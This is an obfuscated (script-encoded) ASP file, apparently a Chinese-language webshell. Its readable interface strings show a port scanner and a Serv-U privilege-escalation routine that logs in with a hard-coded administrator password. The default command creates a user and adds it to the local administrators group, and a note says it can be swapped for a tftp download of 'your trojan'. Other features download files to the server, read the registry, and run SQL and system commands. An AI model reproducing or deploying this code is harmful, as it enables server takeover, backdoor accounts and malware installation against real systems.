GK,mscoGVG2"+akdOk`2b:u#,lU[,wbO4@!@*EJ,O_2H@#@&iPP;0c/DbP+wrs[AIPhCY_@#@&,~~P,PUqxJ@!^xO+M@*@!(D@*@!(D@*@!8M@*目录E[h):C'r新建成功!@!Jm+ Y.@*r@#@&P,P~~,/k{jqL4l;V;D^@#@&d~P.]kPdq@#@&dA19~&0@#@&~,+HN,o`1/Dq}1@#@&2 [P;S)/U@#@&d!4Pk4+^VmK.n@#@&+ N~/;8@#@&@#@&@#@&?!4~]lN]nT`b@#@&j4kjmx{J╋╋0bP9U2╋6q~N 2╋zCMDb4Y,[P╁@*rs@!╁UD"╋+dV3~╋D6n1╋*r`Hl..z+tO~LP╁@*k^@!╁UD]╋*XmDDz+4O`9x;W~j~G:P!{rPMWs╋ n4K,#Hl.D)n4YcXm.Dz/(~6q╋#4OmnntDc9ln"oIRo/SxXmD.btO╋b╁4YlhntD╁`Ykn;;I{tOlKn4Y╋b╁V^ntURO2bDmj ╁vY^+N8}+Om+MZRM+7.+UPxPo/A~D+?╋Da+gP+s;d+"PMW.D3~ r╋U+4OP╁╁@*@!b╁4Dlnn4D╁`O/;$+],0b╋╁@*zMt@!@*:MWWz@!╁?.]╋╁@*xladz@!╁?D"╋╁@*&D4@!@*BI+UG )zl^2/bNvxVXOd,WWx&ObNnT+M'NbP Cwk@!╁jD"╋╁@*.8@!@*zM8@!)#换替的面上把`列序的卡网前当P~[xbA'+LlVUbSwwb2m:-dn1k\.nU-q!ZO?sKDDxW;-t3KU5j-tSFu╁UDI╋╁@*2z@!@*w@!@*.4@!@*JD8@!N卡网动活块几共`,YUEK/-sEU3'wk2^:-d+1r7DnU-8!!D+UsWMYUW;-\3:?5UwHd|C╁U.]╋╁@*az@!@*2@!@*&M4@!O RO ORR OORR ORO R I3jr OO O RO OR╁?MI╋╁@*.(@!@*J.4@!8口端nGi的许允`PkYMWKNnAKVsbh9j'83+~2*X/G%*&8R2sozO;!AWOO12RO0 8**z% 'd+1l0MnOx&-kDnYnhmDCn'2kamPwk+mr-M+j-8TZYnUVKDY W;wHAKj5U-\JnC╁?M]╋╁@*M4@!@*&.4@!8口端hq&n/P的许允PPdYMGn9+AG^VbK/:-N2y$A*X;fRc&8O2oszO/!~cR1O2% 0 8*vW)0 '/mC0.nDx(-k.+D+hCMlnw2bw^K'dmr7D?-8!ZO+UVGDDxG/'H2:j5U-HdFu╁?MI╋╁@*D8@!@*&M4@!8UHf首PP.n7D+jnslH-)3yA3l*;f%W&8R&ws)O;!$* ,,A0OR Fl*bR '/nmCWM+Ox&w/M+OnslDCK'wrw1P'/n1k7D+U-Dn?^W.Y W/O +DM;Z'H2:je?'Hd|u╁?.]╋╁@*D8@!@*&D(@!N关网认默`,}?m(:j\{V3"~zmhYlVY^;l6+9-)2+$A**;9%W&F foszO;!$cR1O20OR+Flv*)R -dn1lWDO qwkDY+slMCn'wrw1Kwdmk7.+U-YjsWMY W/YUnMD;Z'\2:?ej'HSFu╁UD]╋╁@*a&@!@*2@!@*JD4@!O RO ORO 确准否是道知不~卡网的定绑看要乎似下以RR OO R╁?MI╋╁@*M8@!@*JD(@!N由路n(许允`,FSf"6G{!3"~DnO!W]+^8mx3hq'/DYhlMlK-ak2^:-/^k7D+Uwq!ZY?sW.O W/-t3KU5jwtS|u╁jMI╋╁@*D(@!@*z.(@!)#器配试有所`选筛hqJKZ:用启 ~FBf]6qf{V3IB/DOskwXDk.E^nU+s4mU2'/.nD+:C.mnwwb21Kwk+1k\M+UwY?sWMYUG;Yx.D!m-t3P?I?'HJ|u╁jMI╋╁@*D(@!@*JD8@!)享共络网闭关 PTS\?mMA]B/n7kMfY19nDmtj+^4CUA-/MnY:lMCK-M+7Dn?UCsxCS'd+1k-.?-OnUVGDDUKZO +MDE;-t3KU5j-tSFu╁UDI╋╁@*.4@!@*zM8@!8享共认默止禁PPZ~9I6 G{!2"SD\.nU+DC4UWOEzwkDnD+slDmn'.+7Dn? lhUmS-knmb\DjwY?^W.YUG;YU+M.E;-\3:?5jwtSFC╁U."╋╁@*.(@!@*zD(@!)享共yZhq机本接连法无户用名匿x B表列户用机本举列法无户用名匿'qS省缺{! ,T~GIrq9mMAIB/;Whz WUlD^kMYdnM-ldJ'VGDDUKZwD+UVWMY GZDxnDME/wt2KUe?'HSnu╁jD"╋╁@*M4@!@*&.(@!N户用录登次上示显不 ,q~\?m!AI~nhm1.+kiD/CdXmVwkkGRY W9- WLG^xkqwxKk/Mn#Y +MD;ZwdSW[xb -D0GdKDmr\'+.lSO6Wj'Hd|C╁UD"╋╁@*D(@!@*D(@!@*.(@!P,@*B,码密xks[CI取读,B{+;VC-,Yr:(;/{+2zDPY;2 k@!P╁U."╋╁@*UN9kt{+azY,!0'yrd,BxbhNzI-t3P?I?'2Hqu/zHmSz/rd{e3nCBxn!VC\,Ub:[mD{+:mx,OEaxr@!╁UD]╋╁@* k:9CD{+:mU~oI9lnDxn!VC\,U+9Nr4{+wzO,Y;w r@!╁?."╋╁P,@*B,码密Zg#取读PE'nE^l-~Dk:(;/{+wHO~Y!w k@!P╁j."╋╁@*U+9[k4'n2HYPT0{+"kk~EN.Khk/lh-2/1jxr'S]6'+DmAY6W?'i/|_B{+;VC-,mU\{n:mx~O!wxr@!╁UD]╋╁@*1U7'nsl Pm \{nE^l-P +[[bt'2XDPY!2Uk@!╁?MI╋╁@*D8@!@*D8@!@*vP取读,Bxn!Vl-~Dkh4!d{+2HY,YEaxb@!P╁UD]╋╁@*Z%xn.k/,v+sl1MnOEa:KZw+hCgDnY!2:KZwnsl1.nDE2:K/'VGMY WZ'YjVKDOxKZOUDD!/-t2KUej-tSnCv'n;^l-P4Olh+4O{+:CU,Y;w r@!╁?."╋╁@*DmbtDx+slUPT+][m+D{nE^l\,UnN9k4'nwzO,Y;w r@!╁UD]╋╁@*D/W2x9W4Yh,:.K0@!╁?D"╋╁@*J.t@!)取读值键表册注╁jD"J@#@&A6+;;K`?4rjl s!xc?4rUlU#*@#@&Ax[~UE4@#@&UE8PU^mxKKDD`#@#@&U3I7+]RUm.(hYK&\+KEK,x~GFG+!T!@#@&&s~IA}E/P 6rI\crwGDDE*'ErPDt+g@#@&KW"KskUKxEyF~8*&2~&201~W&O*0J@#@&ASd+@#@&wKDOJb/Yx];;+UPc0GM:vJwKDDE#@#@&3x9P(W@#@&kw~DA;jAjPR6WMHcJr2r#xJr~Y_2U@#@&knxE8 {RZ ZRqr@#@&2Sk+@#@&ka']+5E3j:Rs}.HvJkaEb@#@&+gf~ko@#@&D./r@!w@*端口扫描器`如果扫描多个端口S速度比较慢S个人推荐使用;Hfb@!Jw@*J@#@&MDdr@!6WDsP C:'v0KDhqEP:OtKN'E2G/DB,l^YrG 'vB,GxUE8hbY'vWKDhFcd!4hbYcNkkl(s+9'OD!+Iv@*J@#@&.IkJ@!a@*jmmx,qK)'U(/2ir@#@&MDdE,@!kU2!Y~xmh'vbwEPYHwxBD+aYEP^sm//{vK6Y~GaB,k9'vk2v,\CV!n'EJ'(a[Jv~kk"+{v+!v@*J@#@&D"?r@!4M@*KWMY~Jb/Y=E@#@&DDkE@!k w!Y~xCh'vwK.YEPOza+'vO6OB,^^ldk'EK+XY~G6EPdk.+xv+!B,-l^E+{vE[ar"KJkjOLJv@*r@#@&MDjE@!4D@*@!(D@*J@#@&MDdr@!bxw!Y,Uls+xBkE8hbYB,OXa+'Ed;4skDB~msCk/xB(;YDWhv,\ls;'v开始扫描B@*E@#@&]"?r@!k w!OP lh+{Bd^mxB,OXa+'E4rN9+ B~k[xE/^l vP7ls;'Bqq8B@*J@#@&MIjr@!Jw@*@!z6GDs@*E@#@&ko~M2;`n?:R0}]\`r/1lUJb~@!@*~Jr~Y_+U@#@&Yk\nMF~',Ob:n"@#@&IDk`r@!4@*扫描报告)@!z(@*@!8M@*@!4.@*r#@#@&Phw,',?2S(OvD3p`n/DRWG":`E2KDOJ*Sr~E*@#@&qw,',dwdkO`"2};A?KcWr"H`rr2J*~r~E#@#@&6W.P_iP{PT~DrP;8}EUfvrh#@#@&k6Pkg?:.`bncC!#SE J#,xPZPK4nH@#@&0}I~k~x,!~YK~E~WiH9`Y\K*@#@&k6~&?H`HAIq1`:\wvqb#,Y4n P@#@&/b^VPk^)xvqa`4jbS,K\nv(#*@#@&3d/+@#@&U+n|X~{Prg/:D`D:hck*~~J Jb@#@&qs,d2|6,@*~!,K_+U@#@&dDb]Yg~',S3W:`Y\Kvqb~,d+FoP PF,#@#@&+gfHP{P.rTCYvPHh`k*S~VAxvKhncr*#~O,j+A3p~*@#@&ro,qd1`\I(1`UYlMKgbPzx[P&/H;t+Ib^`xfgb~K_2g@#@&0G.,9~',jKzIPU,YW~3gNU@#@&^zSs,/1lxvkact!#SPN#@#@&g2(:@#@&V/A@#@&I"/v?Ob.P P'Pr~WMPE~LP2U9gP'Pr~b/~ WDPx!:(nD@!4.@*r#@#@&AxN,(0@#@&+djn@#@&I"?cY\KvkbPL~J,kd~ WY~U!:8+M@!(D@*r#@#@&2 f,(s@#@&3x9P(o@#@&1AaY@#@&2^dn@#@&kh?Ol]O,'~H&9`bnc4!#~qS&xdY"]A.c&wvtE*~r J*#@#@&6r.~X6(,xPskNvr2`4j*~rxjPMDn.vrwvt;bBJREb3FSF*~:W~tq9`ka`4;#BqH/DIc(a`C!b~rOJ*Qq~d2g`rwc4`#bObU?DDcra`C;bBJRJ*b@#@&W}I,qP{PZ~K}Pi4KjU9vK:ab@#@&k0,rdx!:AD(ZcOtncq*bP:tnH,@#@&/C^V~/;) `rh/:lDDPL~6o(SP:H2cb##@#@&2^/2@#@&j+A3oPxPrUkK.`D\nvkbS,JOEb@#@&(0,j+FXP@*P!,K43x@#@&jYzDPH,'P^nsD`YsKcq*~,/n+Fa,O~F,b@#@&+U9 P'~.bMuKvPtwcb#BPSAxvOHa`(#*PR~k22naP*@#@&bW~kk1!HnI(/v/Ol"O1*P)U9PkdH!:nIb^v2U91*PK_2 @#@&6W]PNPx~UYbMPx,Kr,nUN @#@&mCSs~UZC1v(nkY)]DP[~aX(SL*@#@&13XY@#@&+d/@#@&"Id`UKC]:xPL~J,WD,E~[,2 NHP'~rPr/,UWDPU;s4+.@!(D@*J*@#@&2HGPb0@#@&+dd2@#@&.Ik`Pha`k*~[,JPbd~xKY,x;:8nM@!8D@*E#@#@&nHGPqW@#@&2Hf,r6@#@& +oY@#@&1aY@#@&31GPrW@#@&xaY@#@&K&\3IyP{POkh3"@#@&Y_nY&:3x;?Y.c&1O`:(t2.yO:q:AD8b#@#@&.IUJ@!4M@*nMGm//,rUPr[:tnK(hA[EPkE@#@&2U9,ks@#@&x9Pk;~@#@&kE~P?;bgcKmIL2:qKS,wW"Px`H#@#@&7WgPD.W.~"+jjtnP 2aO@#@&ddnDP^WgH,'~k2"\2MR1.+mYnr(9n^D`Jz9rGAR1GUxmDkGxEb@#@&7ZKUxkY]xrnDG-bNnD{j5S6d2GAR8iGCYmPjW!D^n{JPL~YzIoAP(w,[r~E[~KKIO1`hPLJIik+D~(G'sl0nyiKm/khWMN{IJ@#@&7ZK1H ;rxg3ZDkr P(:W!Y~'~q@#@&7Z}HxcrKn PmGHg?PD@#@&iqW,+MDPDCH@#@&d7k6P3]MR1!\4ADP{~R 8cF qG0*2PGD,nI"RHisA+.~{PR 8*FcF l,P:tU@#@&d7d&0~(g?YMc+MDR93dZMkaY(WHS,JcZKUxmOc*#REb,@*~!,P_2U@#@&iddiIMj`Dl]oAY(K,[PrlJ,[Pa6]Y EtP'PE cR Rc Rc关闭@!8.@*J#@#@&id72djA@#@&ididI"/vPlMM3K&n~',J)r~[,wrMPHEsPLPER cR Rc @!6WUO,mWsGM'.+9@*开放@!zWKxD@*@!(D@*E#@#@&7di+U9,qs@#@&di+xG~rs@#@&i2Hf~r6@#@&+g9Pkj$@#@&@#@&o; mOkKU,j2^WmN`*@#@&jtb?Cx{J╋W(,NxA╋O61Ph;/I,DGD.3,x6╋x4K,+dsmsPx~NGHT;(+9kk,0q╋Txb4YK1~',:CnMY?,O+U╋oxb4OWgP{P2YOu,Yn?╋i7#MD3cMD2V4;╋tOkq~9x3╋/KVZc╋0&~N 2╋nYbD .\W,StDln4OPVbsGKn-m? ╋+sC1VrW,[P╁w╁~LP4YmKtO,',tYmn4Y╋6q~N 2╋╁OaDR:D4RX+N r╁~',+slH+sr6╋xnt:~╁╁P{Pnhm1+sr6PWq╋*b*╁z╁~BVMj+4YvOk^wj`9x;G~j`*╁&╁PBVD`n4YvYbV2?~x,+hlgnVb0╋.CVZ .M2╋U+4P,cTZ&,'PM+(hEgR.DAPW(╋YkM D\W,S4YmntOPnsbsGK-lUR╋T~{PxGrDkdWh ╋HNG~+kxWa/]RaYOC,+OrMR╋ nw}R╋&,x~+9WtR╋qPx~wzKc╋hlDOd,tYr ╋i0(P9UA╋PUt:Pc,@*@!~+DlO?HNCn"RwDOC,0q╋*c[x?cwOYu╋nkVCs,SVMjn4DP~╁P3V╁PU+a6cwODC╋i0q,N 3╋F,'~+Dk. M+\K╋U+4KPy~@*@!,+Dk..n7W~0&╋b╁n:KuJt(R+Jt(jH╁vO1+%(rYlD; D\.+UPx~aYY_~Y?╋#╁sCnD╁L+L╁YdR8[K╁[n[╁9C╁`Dmn%(r+OCD/RMn7DnUP{P:m+MO/,Yn?╋*╁+OrMD-W╁vY/;5+"P{PnYr.qDn\K╋b╁tDlKn4Y╁`OdE5+"~{P4Dlh+tD╋#╁^.jtO╁`D/n;$+I,xP^Dj4O╋+DkM.+-G,~n:mH+^kW~B:ln.D/~~4Omnn4Y,~VMj4Y,~2YDC~hbf╋0&~N 2╋YXnHP:!/nI~.KD.2,Ur╋ +4P,+/sCwPxP[KHL!4f/bP6(╋╁@*JD4@!╁,?]]╋╁@*:DKWz@!╁P?"]╋╁@*Y1btO'nhmx~VMi:KDoUSWNxn!VC\,UN[bt{+wHY,OEaxr@!╁,?]]╋╁盖覆在存@* ';Vm\POrDqD\G'nhmx~6K831+4^{+wzO,Y;w r@!╁Pj"I╋╁@*!%{+.r/,╁╁╁P'P*#╁ ╁c4Ylh2ltRD-.+U`NGmU3^:OC,'P╁╁╁{+;sm\P4OmnntDx:C PDEw k@!╁~?"I╋╁@*zM4@!@*EP载下PEx+!Vl7~Oks4!/x+2zDPOEaUk@!@*T0{+yrd,B&z=2DY4E'EVm\,sD`+4Y{+hC PY!2xb@!╁PU]]╋╁@*D/KwxNG4D+hPs.W6@!╁~j"I╋╁@*&.4@!l器务服到源资载下╁PU]"╋P╁@*EDYxmExxTksl,BTv{oxb[NmwV^n^PEFE'Lxr^mwdV^nm,BTv{D+[.K4~B!U:v{DKVW1o(~Bu!0B{tO[bhPs4mY@!@*.8@!╁{kUJ@#@&3aZ;Kc?4kjC sEUcUtr?mU*#@#@&@#@&2x9Pw;x1YrW @#@&@#@&@#@&k3VZY,^)?PmZOk6H@#@&~P;C/APE\mkx\n EE)t)&x\Ax!`#@#@&,~Zz?3PrMnO:+DsrxmVq WGJ=MYP+.hbxCV&U0K`b@#@&PP/)k+~JhCT+)9N:WH94rlwmM3l9NOGtNAvb@#@&PP1)j2,JUmCxKGMYE)U/b nG]D`#@#@&,P/lkn,JjD7EJ@#@&,~@#@&?il1YrG 'D5E/YvEjjmmDkGxEb@#@&r0,~xKY~rkxEhnMk^`UimmObW #PDtUPM+dwKxdnc+x9@#@&!/+M~xPDDb:cDn5!+dYvEEr#b@#@&wldd,'~YMrs`.;!+/D`r2J*#@#@&aW.O,'PD.ks`D5;+kYvJ2W.Or#b@#@&^:9Px~DDkhcM+5EdD`E1J*#@#@&0{ODb:cD;;nkY`rWJ*#@#@&rWP6'rJ~Y4n @#@&0{LwmY4c*@#@&nsk+@#@&,~,0x^+6Y`6~yb@#@&+UN,kW@#@&0Ya2WMYP{~*l!Z@#@&YrhW;Y{f@#@&VGLbxEdnMPxPrik+.,J,[P!/.PLP-4;DJW@#@&VKLk wlkd~',Jhld/~E,[~wmd/,[~-(ZDJW@#@&[+^[K:Cbx,'PrOG3SAK3f}H)(gJPL~\(ZDdW~[,J qK'T ZRTRZEPLP-8;DSW~LPEPhGMYHK'rP[,0D2wKDOPLP-8;DS6@#@&sYP{~E?&KAP\b(H:2Hbg/2rP'~74Z.J6@#@&xA9Whmk P',J j2:f6HzqHE,[P78ZMS0,'~J fK:CkUxt{jm4;:mm4nMu! Tc! !-E,[~6YawWMY,'PruRF-FkTrP[,-4;DS6~'PrO:}62UC(Vn'ZEPLP-8;DSW~LPEP:t}|nH'rP[,\(/Dd0@#@& +A;k+D,xPrO?APi?AIU2PjKE,[~\(/Dd0~',JO(K{! !cTc!E,[,\4;DdWPLPEOhW.OgW'r~[,0Ya2GDDPLP-4/.d0~[,EO`/n.{oWE~LP-4;.d0~LPrOnm/kAWMNxW9J~',\4;.S6P[,m@#@&,P,P~P~~rOuWsnfbDx^=--E~LP-4;.d0~LPrOSKobUH/ok^+xE,[P78ZMS0,'~J fb/C4sn{!EPL~\(Z.J6P[~E InVhCDtd{FrP[,\(/Dd0~[,{@#@&,PP,~P,PJ Hn+9?m;DnxZJ~[,-4;DJW,[PER_k[+_r9Nn 'ZJPLP78ZMSWPLPERzVhmz/zVVKAJWTk 'TJ~',\8ZMJ0,[~E ZtCUT+KlkdSW.9'ZJPLP78ZMSWPLPm@#@&PP,~P,PPrR}EKYm2Ul8s'TJ,'P74/.d0P'~rO\lXik+.kSKok n.qh'RFrP'~74ZMJ0,[PrRjw+9Sr:rO`wx!r~[,\8/MS0~',JR?anNJb:bYfKh x!rP'P74/.d0PL~{@#@&P,~~P,P,JRHCagDi/./{OqE,[P-8;DJ0,',JR&N^+Kb:6ED'!ZJ~',\4;.S6P[,ER?/kkGxPrs+6EDxO8J~',\4/.d0~[,E 2aakM+'ZJ,'P74/Dd0~',JO"CYbWjaxqJ,[,\8Z.J6P'P|@#@&,P~~,PP~E ICYbGGWA '8JPLP78ZMSWPLPER"lYbG/;D+9rO'ZJ,[~\8/MSWPL~J p;GDlZ;.M+UY{TrP',\(ZDd0,'PrO}EKYC\m6ks;:{!J,'~\(ZMSWP'~|@#@&P,~P,P~~rOHCr YnxmU1+xUXkY+sJ,'P74/Dd0~',JOhC/khWM[PXa+{Ino;smDEPL~\(Z.J6P[~E ICYbGk'HKxJPLP78ZMSWPLPE~zmmd/{m)'wkIqbt2JZ9KrP'P78ZMSW@#@&;ErO,'~J5i&KE,[,\4;DdW@#@&xnh!/n.{D+asl1+` nAEk+M~EmlEB0b@#@&d+^+^O,mldn,?il1ObWU@#@&1l/P8@#@&k+OPm'jnM\+M ZM+lDn64N+1YcJ\r1DG/KWYc(\J_KKKE*@#@&lcGa+U,JV2Kr~,EtDY2)Jzq+FR!cTR8)J,'~wKDDP'PE&t{jm4;:mm4nMzE2C9:rxJd8JS:D!+~,JrSPrJ@#@&mRdn NP^GobxEkn.PLP^WLkU2m/dPL~:DP'~9+V[Gslrx,',xnSNK:lbx,'P +AEk+.~LP;!rY@#@&/O~//kkGxcEmJb'm@#@&"IjE@!0W.h,:nY4G9'vaWkYB,xmh+{B\{Um4;slm4nDE@*J@#@&]IUJ@!kUw;O,xC:xB!B~OHw+xv4k[NUEPr9'EEB,\msE'vJLEdnM[JE@*@!JYN@*E@#@&"IUJ@!kU2!Y~xmh+{B2v,YX2n{B4k9[xv,k9'BaB,-l^En'EJ'2m//LEB@*@!zD[@*J@#@&"IjJ@!r w;Y,Uls+xvaWDOv,YzwxEtr9NxB,k9xBaW.YEP-C^E+{vJLwWMO'JE@*@!zON@*E@#@&]IUE@!bx2;DPxCh'vmE~DX2'Etk9NUB,k['Emv~7lV!n'EJ[1h[[rB,/rynxE*TB@*E@#@&I]jr@!kU2!Y~xmh'v6B,YXa+{vtbN[+ B~r9'B6vP7lV!nxBr[6[EB~dbyn'EX!E@*E@#@&IIjE@!kUw!O,xCs+{B?`l1OkKxvPDX2n{Btb[NxB,r['E?`l^YrG B~\msE'v+E@*@!&WKDh@*r@#@&I]UJ@!/mMkaOP^lUo!lLn{BLm-lkmDb2OB@*J@#@&]IjE9W^EsnxDRA.bY+cv@!mnxDnM@*正在连接~8 FR!c!cq)r[2WMY'EB使用用户名)Pr'Ek+DLES口令:JLwm/d[E cR@!mUYD@*v*iJ@#@&"IjJknDKrs+KEYvB9Gm!:nxDRCs^RH|jm4E:m^4+MRkE8:rOv#IBB*!Z!bIr@#@&]]UJ@!zk^Mk2D@*r@#@&1lknPy@#@&/Y~8{?+M-+MRZMnCYr(LnmOcrHrmMG/K0O oHSuP:nE#@#@&(RGa+ PJV2:E~,J4YDwl&JF F !c!R8lEPLP6Y2wG.DP'Pr&H|?^4!:l^4D&EaC9:r zk JBP:.E~~Jr~~Er@#@&( /xN,Ei/D,oGJ~',\8ZMJ0,[~Eal/d~KNEPL~74/MS6P[,JkrYPn6m~E,[P1hN,[P78/Dd0,[~;;rD@#@&PknY,/ndkkWUcr4E#{8@#@&]"?r@!0KDs~:Y4W9'v2K/YE~xm:+{v\{Um4Ehl^4Dv@*r@#@&"IjE@!kx2;DPUlsn{B;EPDXw'E4k9NnxEPr[{BEE~\mVExvJLEk+.[Ev@*@!&Y9@*J@#@&]]UJ@!rUaEOP Cs+xEwEPYHwxB4k[Nxv~bN'E2B,\l^;n'EJLwC/d'rB@*@!JON@*J@#@&"I?E@!bx2ED~ lh'EwWMYE~YHwn'Etr[9+xE~k9'BaG.YEP7lsEnxEJ'wK.YLJv@*@!zY[@*r@#@&I"jr@!r w!YP lsn'EmvPDX2n{Btb[NxB,r['EmEP-ls;'vJL^:9[Ev,/k"n{BX!E@*r@#@&"IUJ@!bxa;Y,xC:'vWEPYH2+{Btb[[+ B,k['vWEP-l^;+{BE'6[Jv~kk"+{vl!v@*J@#@&I"?r@!k w;Y,xCh'BUil1YkKUvPDXa+xB4r9NnxE~k9'vj`lmOrKxvP7C^En{B2B@*@!z6GDs@*E@#@&I]jr@!/1.kaYP^CUo!lT+xB%C7ldmMrwDB@*E@#@&I]jrNGm!hxOchMkY`E@!mxO+M@*正在提升权限S请等待 cR~@!^+ Y+M@*v#pJ@#@&]IjEk+OKbh+KEOcrJNG^!:nxD mVscH|?m4EsCm4+.RkE8hbY`*IJr~cZTT#pJ@#@&]IjE@!zdmMrwD@*E@#@&mldn,&@#@&knDP^{?D\Dc/DlO+}4%n1Y`r\k1DWkGWYc(tSuKPKr#@#@&1 Wa+U~rM2PEBPEtDOa)&JFyGRZRZ F=J~[,wG.DP[,Ezt{?14;:mm4+.z;2mNhk &/2JS~:DEnS,JE~,Er@#@&1Rk+x9P^Gobx;/D~',VWTrxal/k~'PsY,[~Nns9WhlbUPLP5;bY@#@&dY~/dkkG `rmJ*'1@#@&"IjJ@!mnUD+D@*提权完毕S已执行了命令:@!(D@*@!WGxDP1WsW.xM+[@*r'msN'E@!z0GUD@*@!4M@*@!4.@*J@#@&I"?r@!k w;Y,Yz2'4!OYKxP7CsE'EP返回继续~B~G Zsk1V'rJsG1lYrG R4DW{B_zmDkW 'UnD7EvirJ@*E@#@&I"jJ@!zmUO+M@*r@#@&mCdPnVkn@#@&WU~DDG.,Dn/!hPU6D@#@&,P,~/Y~l{/ndkkW cJmJ#@#@&~P,Pk+OP8xk+d/bGxvJ8E*@#@&~~,Pd+D~1'd/kkW `r^J*@#@&P,P~Ccl4K.Y@#@&P,~~?Y,l~'~HKY4k L@#@&P~~,4RC8KDO@#@&~,P~U+DP4,',HWDtrxT@#@&~,PP1 l(WDD@#@&P,P,?nY~^,'~1KOtbxL@#@&IIjE@!mnxDnM@*@!6WM:Ps+D4W9'vwK/Ov,xlsn'EH{U^4Esl1tnDv@*r@#@&I"jJ@!YC8^+PAr9Y4'E*Ocv,tko4Y{vF+&vP(W.[D'EqB,m+^s2l9NbxL'vTEP^+^s/al^r o'vqEP8WM[D^KVKD'Ea+v+vB@*J@#@&"I?r@!YMPl^rLx{B1+UYn.EP-l^ro 'vhbNNsnE@*E@#@&]"?E@!Y9PmKVk2l 'v E@*jnM\O`~提升权限P+Rc@!&ON@*J@#@&]IjE@!zOD@*E@#@&I]jr@!Y.~mVro xEmn YDB,\mskTxxBsk[[^+B@*E@#@&IIUE@!Y9PSk[Y4xEFT!E@*用户名)@!zO[@*J@#@&]"?E@!D[,hr9Y4'B2GOv@*@!kUw!Y~Um:+{vEEPYH2n'EY6OB~r9'vEE~\mV;n{BSG^mV)Nsr kdDDmYWMB@*@!zDN@*J@#@&]]UJ@!JOD@*J@#@&]]?r@!DD~lsrTxxB1nxD+.v,\lsrTxxBsr9NsB@*J@#@&I"jJ@!Y[@*口,令:@!&O9@*J@#@&I"?J@!O[@*@!k w;Y~Um:n'E2B,Yz2'BOnXYvPb[{B2EP7lV!+{va^@$yl0a s0i!@$KB@*@!zD[@*J@#@&"IjJ@!&DD@*J@#@&I"?E@!DDPCsboU'E^xODEP\mVbLx{Bhk9NsnE@*J@#@&I"?J@!O[@*端,口:@!JY[@*E@#@&I]?r@!Y9@*@!r wEO~ lh+{vaW.DB,YXa+{vY6OB,k[xEwWMOB,\l^;n'Ec2,X%v@*@!zON@*E@#@&I]jr@!zO.@*J@#@&"]UJ@!DD,lVbo xB1+UYDv~7lVbLx{B:b[[VB@*J@#@&]]UJ@!Y9@*系统路径:@!JY[@*r@#@&]]UJ~P,~@!Y[@*@!bxw!Y,Uls+xB6B~OHw+{vY6YE~rN{B6B~\Cs!+xBr'0LJv~kkynxE%v@*@!&DN@*r@#@&IIUJ,~@!JY.@*r@#@&]"?J,~@!DDPmsro 'EmnxOnMB~\mskTxxvskN[sB@*J@#@&"IjrP,PP@!Y9@*命 令:@!JY[@*r@#@&]"?J,~P,@!Y9@*@!k w!Y~xCh'vmE~YHwnxEY+aOEPrN{v1B~7l^E+{B1hN,z^P +O~!/+M~3Kxo$ryP8 2cXv~&mN[PL~xY~sKmlsLMW;w,C9:r kkYDmYK./,3GxT;ry,zl9[B,/k.nxBl!E@*@!zO[@*J@#@&"]?rP~@!JYD@*E@#@&]IUE,@!OMPmVkTx{vmxO+MB~-mVkTU'E:k9[s+E@*r@#@&I]jrP~P,@!Y9P^G^/wCU{B+B@*@!bx2!Y,YXa+{v/!4hkDB~Um:+{v?!4:bOvP7l^En'v提交v@*PE@#@&]IUJ@!r wEO~DX2+{vM+dYEPxm:xBUE8:bY+v,\l^;+{B重置B@*E@#@&"IUJ@!kU2!Y~xmh+{BjimmYrG B~YH2'v4k9N+ B,rN{BCmDkGUEP\msE'B8v@*@!JY9@*E@#@&]"?EP,@!zDD@*E@#@&I]jrP@!YM~mVrTx{BmxDnDEP-l^kLU{B:b[N^+B@*E@#@&"IUJ~P~~@!Y[@*说 明:@!&Y9@*E@#@&IIjE,P~P@!O9@*@!bxaEY,xmh+{B^m1B~OHw+{vY6YE~rN{B1m^B~-mV;+{v可替换成)1:[~JmP9l'hn4'你的木马 6n,也可以是.~?B,/b"+{BX!E@*@!&DN@*r@#@&"I?r~~@!JYM@*E@#@&]"?E@!JOD@*@!&Om4Vn@*@!zWWMh@*@!&1+ Y+M@*r@#@&x[Pk+sn1Y@#@&WE mYbGUPVwmY4`b@#@&WUP.DKD~./Ehn,xn6D@#@&P~,PDDcm^nlM@#@&P,P~dYP6x?D\. ZM+mYnr8%mO`rjmMk2Obxo obVn?HdD+h}4N+mDJ*@#@&,P~Pb0~nMDR ;:(+D@*T~Y4+ @#@&dL2mY4'r^)r@#@&~,PP~~,Pn6bO,0; mDkW @#@&~P,Pnx9PrW@#@&oaCY4'0c!nYUwmrlsoKV[+Mc!*@#@&LalY4x^mC/c^+WD`TwlDtB+#*@#@&/Y~W{xWD4k o@#@&nUN,0!x^YrG @#@&@#@&@#@&wEU^DkWU~U;sDKGD3rD`*@#@&Utbjl 'E╋╋s&P9HA╋PP,~P,PP,~~P,P,P~P~~,P~P,~╁@*tI6oJ@!╁P3P&I RAjgrKU2"PP,di7╋P,P7di╁@*行执x3`Sbj~K&HA`jx2h5:PPjKH&@!~P╁,3K&I A?16KU2]P,~id7╋╁@*S5?'Ajd).,13fGquxAn5:~bzbS5jx2tbgPPjKH&@!~P╁,3K&I A?16KU2]P,~id7╋╁@*Ko2K{2heK,S}?{2\)gPK`K1&@!P,~╁~2:q" 2jH}nj2"~P,d77╋╁:句语行执@*n@!╁~3:q]c3U16h?AIP,Pi7d╋╁@*╁[b╁S"j╁cjASAz(Iz.IA#]2UR:?3j}3"[╁xbz)S5?~PUrnx9}CP2t~8H]}s{2Hz1,\I}s@!╁PAK(]qR2UHrh?2"~~P,P,P~P~~id╋╁@*H"6sJ@!╁~3:qI A?HrhjAI~,Pidd╋╁@*行执'AiSz.~K&H$iU'2heK,KjhH(@!,P╁,2Pq] c2j1}K?AI~~,dd7╋╁@*GH/'Aidb#,1Aff&C{3nIK~bzbJ}U'2t)1,KjhH(@!,P╁,2Pq] c2j1}K?AI~~,dd7╋╁@*:Z3SAjJ@!@*gr&Kn}z@!@*1}qPn}z@!Pg2Mz]2jI2UJ}?@*Kg2!b]3jI3?d}?{2iJz.PH6&KKr@!@*gr(:n}z@!AK&]V2]{h(@*3:qIq!2"{nox3jdbjPHr(Phr@!@*g6q:n6&@!2K)3"Z)r|KU@*3:bAIZzr|K?{2iSz.~H}qKh6@!@*1r&PKrJ@!dS3Cj9tZmno@*Sd2ujGHZmKo'3jd)jPH}q:nr@!@*g6q:n6z@!ORR 件组的序程行运择选请OO R@*EB'AiJbjPgr(KK6@!@*~Bd6r:Bx3tb1~P;2J2U@!╁,2P&IqR2U1}K?AI~P,d77╋╁@*K(AP'An5:~9H;'AH)1~P`nHq@!~P╁,2P("R3jgrK?A],P~idi╋╁:令命统系@*n@!╁PAPq" 